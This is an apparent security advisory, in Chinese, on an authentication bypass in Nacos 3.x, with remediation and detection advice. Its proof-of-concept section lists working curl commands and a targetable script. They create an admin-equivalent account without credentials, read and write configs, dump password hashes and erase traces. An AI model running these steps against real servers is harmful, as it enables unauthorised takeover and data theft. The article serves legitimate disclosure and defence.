Nacos 3.x 鉴权作用域错配漏洞:未授权接管服务端的 POC 测试

导语:Nacos 3.0.0~3.2.3 版本存在严重的鉴权作用域错配(Auth Scope Misassignment)漏洞。攻击者无需任何凭证,即可在默认开放的 8848 端口上完成建号、赋权、登录、接管全流程。官方已在 3.2.4 修复,建议相关用户立即检查并升级。


一、漏洞概述

漏洞类型:认证绕过(Authentication Bypass)

影响版本:Nacos 3.0.0 ~ 3.2.3

修复版本:Nacos 3.2.4

危险等级:【红/高危】——无需任何前置条件,天然穿透所有鉴权配置

攻击面:Nacos 服务端主端口 8848(SDK/gRPC 端口,生产环境通常对内网开放)

前置条件:无。即使按官方文档将 admin、console 鉴权全部开启,也无法防御该攻击


二、漏洞原理

Nacos 3.x 将接口鉴权按 @Secured(apiType = ...) 分为三个作用域,每个作用域独立开关:

作用域过滤器开关默认值
ADMIN_APIAuthAdminFilternacos.core.auth.admin.enabled
CONSOLE_API—(控制台)nacos.core.auth.console.enabled
OPEN_APIAuthFilternacos.core.auth.enabled

问题的根源在于:@Secured 注解的 apiType 属性默认值是 OPEN_API,而 UserControllerV3RoleControllerV3PermissionControllerV3 三个管理接口在编写注解时未显式声明 apiType,导致它们被归入默认不鉴权的 OPEN_API 作用域,由默认关闭的 AuthFilter 放行;而默认开启的 AuthAdminFilter 仅匹配 apiType == ADMIN_API,根本不拦截这些接口。

修复方式极为简单——在三个 Controller 的 @Secured 注解中补上 apiType = ApiType.ADMIN_API 即可。


三、POC 测试

⚠️ 警告:以下操作仅供授权安全测试使用。未经授权扫描他人系统属违法行为。

3.1 环境准备

# 下载 Nacos 3.2.3(漏洞版本)
wget https://github.com/alibaba/nacos/releases/download/3.2.3/nacos-server-3.2.3.tar.gz
tar -xzf nacos-server-3.2.3.tar.gz && cd nacos

# 配置必要参数(否则启动脚本会交互式要求填入)
# 编辑 conf/application.properties,追加:
# nacos.core.auth.server.identity.key=serverIdentity
# nacos.core.auth.server.identity.value=security
# nacos.core.auth.plugin.nacos.token.secret.key=$(openssl rand -base64 32)

# 以 standalone 模式启动(默认鉴权配置:auth.enabled=false, auth.admin.enabled=true)
bash bin/startup.sh -m standalone

3.2 对照验证:确认鉴权正常工作

# ADMIN_API 作用域正常拦截(返回403)
curl -o /dev/null -s -w "%{http_code}n" 
  "http://127.0.0.1:8848/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=10"
# 输出:403

# CONSOLE_API 作用域正常拦截(返回403)
curl -o /dev/null -s -w "%{http_code}n" 
  -X POST "http://127.0.0.1:8848/v3/auth/user" -d "username=x&password=x"
# 输出:403

鉴权层工作正常——但这并不代表系统安全。

3.3 漏洞利用四步走

第一步:未授权创建用户

curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/user" 
  -d "username=poc_user&password=Poc@123456"
# 返回:{"code":0,"message":"success","data":"create user ok!"}

第二步:绑定角色

# ROLE_ADMIN 是保留角色,会被业务层拒绝
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/role" 
  -d "role=ROLE_ADMIN&username=poc_user"
# 返回:{"status":500,"message":"role 'ROLE_ADMIN' is not permitted to create!"}

# 使用自定义角色即可绕过
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/role" 
  -d "role=poc_role&username=poc_user"
# 返回:{"code":0,"message":"success","data":"add role ok!"}

第三步:授予读写权限

# 授予 *:* 读写权限,效果等同于 admin
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/permission" 
  -d "role=poc_role&resource=*:*&action=rw"
# 返回:{"code":0,"message":"success","data":"add permission ok!"}

第四步:登录获取 Token

注意:由于 nacos.core.auth.caching.enabled 默认开启,新账号需等待约 15 秒让鉴权缓存刷新后方可登录。

sleep 15
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/auth/user/login" 
  -d "username=poc_user&password=Poc@123456"
# 返回:{"accessToken":"eyJhbGciOiJIUzI1NiJ9...","tokenTtl":18000,"globalAdmin":false,"username":"poc_user"}

第五步:用 Token 操作管理员资源

TOKEN="上一步获取的 accessToken"

# 列出配置(管理员权限)
curl -s "http://127.0.0.1:8848/nacos/v3/admin/cs/config/list?pageNo=1&pageSize=10" 
  -H "accessToken: $TOKEN"
# 返回:{"code":0,"message":"success","data":{"totalCount":0,...}}

# 写入恶意配置
curl -s -X POST "http://127.0.0.1:8848/nacos/v3/admin/cs/config" 
  -H "accessToken: $TOKEN" 
  --data-urlencode "dataId=pwned.yml" 
  --data-urlencode "groupName=DEFAULT_GROUP" 
  --data-urlencode "namespaceId=public" 
  --data-urlencode "content=written by unauth attacker"
# 返回:{"code":0,"message":"success","data":true}

3.4 一键 POC 脚本

GitHub 已有成熟 POC 工具,纯 Python3 标准库,无需第三方依赖:

git clone https://github.com/mhtsec/nacos-authscope-poc.git
cd nacos-authscope-poc

# 默认检测 127.0.0.1:8848
python3 poc/poc.py

# 指定目标
python3 poc/poc.py --host 10.0.0.5 --port 8848

# 仅检测,不写入
python3 poc/poc.py --check-only

# 保留注入账号(默认会清理)
python3 poc/poc.py --no-cleanup

脚本流程:建号 → 绑角色 → 发权限 → 登录 → 写标记配置 → 自动清理(--no-cleanup 取消清理)。退出码 0 = 漏洞存在且利用成功,2 = 已修复。


四、额外危害:信息泄露与痕迹清除

该漏洞不仅能接管管理员权限,还可静默窃取和销毁数据:

未授权枚举用户:GET /v3/auth/user/list 无需 Token 即可拉取全部用户名及 bcrypt 哈希。

完全清理痕迹:对应的 DELETE 接口同样未授权可用,攻击结束后可将注入的账号、配置全部抹除。


五、处置建议

紧急修复

首选方案:升级至 Nacos 3.2.4 及以上版本。 下载地址:https://github.com/alibaba/nacos/releases/tag/3.2.4

临时缓解措施

在无法立即升级的情况下,可采取以下措施(推荐组合使用):

  1. 开启 OPEN_API 鉴权(影响面最广,会导致所有 OPEN_API 均需认证):
   nacos.core.auth.enabled=true
  1. *在网络层封锁 8848 端口的 /v3/auth/ 路径**,仅允许可信来源访问。

⚠️ 注意:临时缓解措施可能影响业务,请先在测试环境验证。

排查是否已被攻击

  • 检查 usersrolespermissions 表中是否存在来历不明、拥有 : 权限的账号
  • 搜索访问日志中 POST /v3/auth/userPOST /v3/auth/permission 无 Token 返回 2xx 的记录

版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容